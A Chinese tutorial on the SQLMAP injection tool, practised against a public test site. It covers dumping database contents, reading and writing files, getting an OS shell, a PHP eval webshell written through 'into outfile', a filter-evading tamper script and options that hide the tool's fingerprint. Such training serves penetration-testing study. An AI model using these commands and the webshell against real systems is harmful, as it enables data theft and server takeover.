免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
# 知识点
1、注入工具-SQLMAP-常规猜解&字典配置
2、注入工具-SQLMAP-权限操作&文件命令
3、注入工具-SQLMAP-Tamper&使用&开发
4、注入工具-SQLMAP-调试指纹&风险等级
演示案例:
1.数据猜解-库表列数据&字典
测试:http://vulnweb.com/
–current-db //获取当前数据库
–tables -D “” //获取指定数据库下的表名
–columns -T “” -D “” //获取指定数据库下表名下的列名
–dump -C “” -T “” //获取想要数据
2. 权限操作-文件&命令&交互式
测试:MYSQL高权限注入
查看权限是否是管理员:
--is-dba
文件读写:
--file-read(文件读取命令,相当于使用load_file函数)
--file-write 写入本地文件
--file-dest 要写入的文件绝对路径
这两个命令一般一起使用
命令执行:
--os-cmd= whoami(需要知道语言及网站绝对路径才行)
然后路径什么一路回车看结果就行
--os-shell(获取系统交互shell,需要知道语言及网站绝对路径才行)
- 1
选项默认回车就行
--sql-shell(执行数据库命令,必须要用到select,也可以配合into outfile函数)
select "<?php @eval($_POST[1]);?>" into outfile "xxx/you.php";
3. 提交方法-POST&HEAD&JSON
Post方式注入
--data ""
Cookie方式注入
--cookie ""
Json方式注入
-r 1.txt (推荐,该方法通杀全部提交方式)在txt里要注入的地方加上*号就是告诉工具在这里注入,不加*就是让工具对整个数据包参数进行测试
4. 绕过模块-Tamper脚本-使用&开发
测试:base64注入 有过滤的注入
--tamper=test.py //简单绕过脚本
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload
5. 分析拓展-代理&调试&指纹&风险&等级
1、后期分析调试:
-v=(0-6) #详细的等级(0-6)
–proxy “http://xx:xx” #代理注入
2、打乱默认指纹:
--user-agent "" #自定义user-agent
--random-agent #随机user-agent
--delay (设定两个HTTP请求的间隔时间,默认是没有任何间隔)
3、使用更多的测试:
测试Header注入
--level=(1-5) #要执行的测试水平等级(测试深度),默认为1
--risk=(0-3) #测试执行的风险等级,默认为1